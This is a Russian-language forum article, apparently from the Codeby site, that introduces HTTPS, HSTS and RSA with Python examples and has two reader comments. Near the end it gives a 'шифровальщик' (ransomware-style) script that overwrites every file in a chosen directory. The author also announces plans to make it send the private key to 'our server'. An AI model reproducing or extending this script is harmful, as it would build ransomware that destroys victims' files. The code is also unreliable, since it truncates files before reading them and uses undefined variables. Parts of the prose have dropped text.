Статья RSA принцип работы алгоритма на примерах python. Шифрование в интернете. Часть 1.

6646192-word-cloud-concept-illustration-of-cryptography-encryption.jpg


Приветствую, это статья является введением и отправной точкой к другим различным сериям статей о криптографии, поэтому она будет необычно короткой. Я специально не буду нагружать вас математическими формулами.
Для защиты ваших данных в интернете используется шифрование, когда вы заходите на сайт вы можете увидеть значок замка:
Screenshot_2.png

Если же шифрование не используется, то ваши данные смогут попасть не в те руки. Наиболее распространенный способ это MITM атака. Несмотря на то, что можно атаковать различными способами и в итоге прослушивать трафик, все же рекомендуется использовать данный протокол. HSTS - это механизм, активирующий защищённое соединение. Например если ваш HSTS настроен не правильно, то, если вы вобьете вместо , , то сайт откроется через HTTP протокол. Для активации HSTS нужно прописать:
Код:
Strict-Transport-Security: max-age=31536000;

Современная асимметричная криптосистема может(но это еще не факт) считаться стойкой, если злоумышленник, имея два открытых текста M1 и M2, а также один шифротекст Cb не может с вероятностью большей, чем 0.5 определить какому из двух открытых текстов соответствует шифротекст Cb.

RSA - это криптографический алгоритм, который используют многие протоколы: SSH, OpenPGP, S, MIME и SSL, также алгоритм используется для цифровой подписи различных документов, название алгоритма происходит от первых букв фамилий его создателей(Rivest, Shamir, Adleman). Криптография с открытым ключом, называется асимметричной криптографией. Надежность алгоритма обеспечивается в факторизации чисел (разложение их на составные множители). Ключ - это набор символов определенной длины. Вы генерируете 2 ключа открытый и закрытый. Открытым вы шифруете сообщение и можете хранить его в открытом доступе, закрытый ключ используется для расшифровки сообщение, хранить вы его должны за 7 замками. Пример из моей предыдущей статьи:
Представим, что двум субъектам нужно послать зашифрованное письмо, допустим их будут звать Андрей и Дима. Дима дал открытый ключ Андрею, Андрей шифрует письмо с помощью этого ключа и отправляет. Только Дима может прочитать письмо, т.к. только у него есть закрытый ключ.
Давайте рассмотрим пример на python. Для начала установим библиотеку:
Код:
python -m pip install rsa
Пример:
Код:
import rsa
mess = 'Hello, Codeby!'
(pubkey, privkey) = rsa.newkeys(512) # Генерируем 2 ключа
cipher = rsa.encrypt(mess, pubkey) # Шифруем
print(cipher)
mess = rsa.decrypt(crypto, privkey) # Расшифровываем
print(mess)
Результат работы:
Screenshot_3.png


Вот код шифровальщика, который в качестве аргумента принимает директорию, в которой нужно зашифровать все файлы:
Код:
import glob, os, rsa, sys
(pubkey, privkey) = rsa.newkeys(512)
try:
    dir = sys.argv[1]
except:
    print("""
You did not specify a directory
usage: python cipher.py /test""")
    exit()
os.chdir(dir)
for file in glob.glob("*"):
    print(file)
    f = open(file, "w")
    cipher = rsa.encrypt(data, pubkey)
    f.write(cipher)
    f.close()

В дальнейшем написании статей я поэтапно планирую написать шифровальщика который будет шифровать разными методами, отправлять приватный ключ нам на сервер, а также описать в данном разделе способы атаки на https и на примерах в языке python рассказать о других методах шифрования.
Ссылки:
 
Последнее редактирование:
H

hydra

Очень хорошая статья, спасибо учителю.
 

Adam Adamov

New member
10.10.2023
1
0
BIT
0
Здравствуйте, учил основы пайтон практиковал,начал книгу безопасность веб приложений коды понять трудно что предложите?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!